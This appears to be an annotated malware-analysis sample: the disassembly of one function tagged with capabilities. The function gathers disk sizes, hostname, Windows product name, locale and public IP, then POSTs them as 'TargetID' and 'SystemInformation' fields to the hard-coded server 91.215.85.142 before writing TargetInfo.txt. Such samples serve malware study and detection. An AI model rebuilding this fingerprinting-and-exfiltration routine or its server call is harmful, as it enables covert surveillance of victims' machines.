Function at 0x1400073c0
Capabilities:
Get disk information
Get disk size
Get geographical location
Get hostname
Get system information on windows
Query or enumerate registry value
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0xc28]
sub rsp, 0xd10
mov rax, qword [0x140059010]
xor rax, rsp
mov qword [rbp + 0xc00], rax
xor r15d, r15d
mov r14d, 4
cmp dword [0x14005ca34], r15d
jne 0x14000747b
mov qword [rbp - 0x60], r15
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dil, 0x41
mov ebx, r15d
mov esi, eax
test sil, 1
je 0x140007466
movzx r9d, dil
lea r8, str._c:_
mov edx, r14d
mov dword [rsp + 0x5c], r15d
lea rcx, [rsp + 0x5c]
call qword [sym.imp.SHLWAPI.dll_wnsprintfA]
lea r9, [rsp + 0x68]
mov qword [rsp + 0x68], r15
lea r8, [rbp - 0x60]
mov qword [rbp - 0x60], r15
xor edx, edx
lea rcx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov rax, qword [rbp - 0x60]
sub rax, qword [rsp + 0x68]
add rbx, rax
inc dil
shr esi, 1
cmp dil, 0x5a
jle 0x140007417
shr rbx, 0x1e
mov dword [0x14005ca34], ebx
or rsi, 0xffffffffffffffff
lea rdi, [0x14005ca60]
cmp dword [0x14005ca50], r15d
jne 0x1400076e1
lea rdx, [rsp + 0x68]
mov dword [0x14005ca50], 0x200
lea rcx, [rbp - 0x28]
mov dword [rsp + 0x68], 0x10
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea rax, [rbp - 0x60]
mov qword [rbp - 0x60], r15
lea r9d, [rsi + 2]
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
mov rdi, r15
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14000759e
mov rcx, qword [rbp - 0x60]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x5c]
xor r8d, r8d
mov qword [rsp + 0x20], r15
lea rdx, str.ProductName
mov dword [rsp + 0x5c], r15d
mov dword [rsp + 0x58], r15d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140007594
cmp dword [rsp + 0x5c], 1
jne 0x140007594
mov ecx, dword [rsp + 0x58]
add rcx, 1
cmovb rcx, rsi
call fcn.140023634
mov rdi, rax
test rax, rax
je 0x140007594
mov r8d, dword [rsp + 0x58]
xor edx, edx
inc r8
mov rcx, rax
call fcn.14001f2b0
mov rcx, qword [rbp - 0x60]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea rdx, str.ProductName
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140007580
cmp dword [rsp + 0x5c], 1
je 0x140007594
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rdi
call fcn.140023620
jmp 0x14000759e
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r9d, r14d
mov dword [rsp + 0x60], r15d
lea r8, [rsp + 0x60]
mov edx, 0x5a
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
xor eax, eax
mov dword [rsp + 0x5c], r15d
mov dword [rbp - 0x30], eax
lea r8, str.Content_Type:_application_x_www_form_urlencoded_r_nHost:_api.ipify.org_r_n
lea rax, [rsp + 0x5c]
xorps xmm0, xmm0
mov qword [rsp + 0x28], rax
lea rdx, [0x1400507f0]
xor r9d, r9d
mov dword [rsp + 0x20], r15d
lea rcx, str.http:__api.ipify.org
movups xmmword [rbp - 0x40], xmm0
call fcn.140001354
mov rbx, rax
test rax, rax
je 0x14000761a
cmp dword [rsp + 0x5c], 0x11
jae 0x14000761a
mov r8d, dword [rsp + 0x5c]
lea rcx, [rbp - 0x40]
mov rdx, rax
call fcn.14001f6b0
jmp 0x140007628
movabs rax, 0x6e776f6e6b6e75
mov qword [rbp - 0x40], rax
mov rcx, rbx
call fcn.140023620
xorps xmm0, xmm0
lea rcx, [rsp + 0x70]
movups xmmword [rsp + 0x70], xmm0
lea r14, [0x140050824]
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
cmp word [rsp + 0x70], 9
lea rbx, [0x140050828]
lea rcx, [rbp - 0x10]
cmovne rbx, r14
mov r14d, 0x180
mov r8d, r14d
xor edx, edx
call fcn.14001f2b0
lea rax, [rbp - 0x28]
mov r9, rdi
mov qword [rsp + 0x38], rax
lea r8, str._s__s___s___s___s
lea rax, [rbp - 0x40]
mov edx, r14d
mov qword [rsp + 0x30], rax
lea rcx, [rbp - 0x10]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.SHLWAPI.dll_wnsprintfA]
mov r9d, 0x2000000
lea r8, [0x14005ca50]
lea rdx, [0x14005ca60]
lea rcx, [rbp - 0x10]
call qword [sym.imp.SHLWAPI.dll_UrlEscapeA]
test rdi, rdi
je 0x1400076da
mov rcx, rdi
call fcn.140023620
lea rdi, [0x14005ca60]
lea rdx, [rsp + 0x40]
lea rcx, str.http:__91.215.85.142_QWEwqdsvsf_ap.php
call fcn.14000118c
test al, al
je 0x14000792d
mov r9, qword [rsp + 0x40]
lea r8, str.Content_Type:_application_x_www_form_urlencoded_r_nHost:__s_r_n
mov edx, 0x104
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov rcx, qword [0x14005ba20]
xor eax, eax
mov qword [rbp - 0x50], rax
mov r14d, 0xfffff
mov word [rbp - 0x48], ax
mov ebx, 0xa
mov rax, rcx
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
test rax, rax
jne 0x140007764
mov rax, rcx
lea r8, str.0._llu
cqo
and rdx, r14
lea r9, [rdx + rax]
sar r9, 0x14
jmp 0x14000776e
mov r9, rax
lea r8, str._llu
mov edx, ebx
lea rcx, [rbp - 0x50]
call qword [sym.imp.SHLWAPI.dll_wnsprintfA]
mov eax, dword [0x14005ca34]
lea r9, str.hiervos
mov dword [rsp + 0x38], eax
lea r8, str.user_sTargetID_sSystemInformation_smax_size_of_file_ssize_of_hdd_d
lea rax, [rbp - 0x50]
mov edx, 0x400
mov qword [rsp + 0x30], rax
lea rcx, [rbp + 0x800]
lea rax, [0x14005bbd0]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHLWAPI.dll_wnsprintfA]
lea r9, [rbp + 0x800]
mov qword [rsp + 0x28], r15
lea r8, [rbp + 0x1f0]
mov dword [rsp + 0x20], eax
lea rdx, str.POST
lea rcx, str.http:__91.215.85.142_QWEwqdsvsf_ap.php
call fcn.140001354
test rax, rax
je 0x1400077f5
mov rcx, rax
call fcn.140023620
mov rcx, qword [rsp + 0x40]
call fcn.140023620
mov rcx, qword [rsp + 0x48]
call fcn.140023620
xor r9d, r9d
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
lea rcx, str.TargetInfo.txt
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, rsi
je 0x14000792d
mov rcx, qword [0x14005ba20]
xor eax, eax
mov qword [rbp - 0x60], rax
mov word [rbp - 0x58], ax
mov rax, rcx
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
test rax, rax
jne 0x140007884
mov rax, rcx
lea r8, str.0._d
cqo
and rdx, r14
lea r9, [rdx + rax]
sar r9, 0x14
jmp 0x14000788e
mov r9, rax
lea r8, str._llu
mov edx, ebx
lea rcx, [rbp - 0x60]
call qword [sym.imp.SHLWAPI.dll_wnsprintfA]
xor r9d, r9d
mov dword [rsp + 0x68], 0x200
lea r8, [rsp + 0x68]
lea rdx, [rbp - 0x10]
lea rcx, [0x14005ca60]
call qword [sym.imp.SHLWAPI.dll_UrlUnescapeA]
mov eax, dword [0x14005ca34]
lea r9, [0x14005bbd0]
mov dword [rsp + 0x30], eax
lea r8, str._s_s_s_d
lea rax, [rbp - 0x60]
mov edx, 0x400
mov qword [rsp + 0x28], rax
lea rcx, [rbp + 0x400]
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHLWAPI.dll_wnsprintfA]
lea rax, [rbp + 0x400]
inc rsi
cmp byte [rax + rsi], r15b
jne 0x1400078fe
mov r8, rsi
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0x60]
mov rcx, rdi
lea rdx, [rbp + 0x400]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xc00]
xor rcx, rsp
call fcn.14001c430
lea r11, [rsp + 0xd10]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret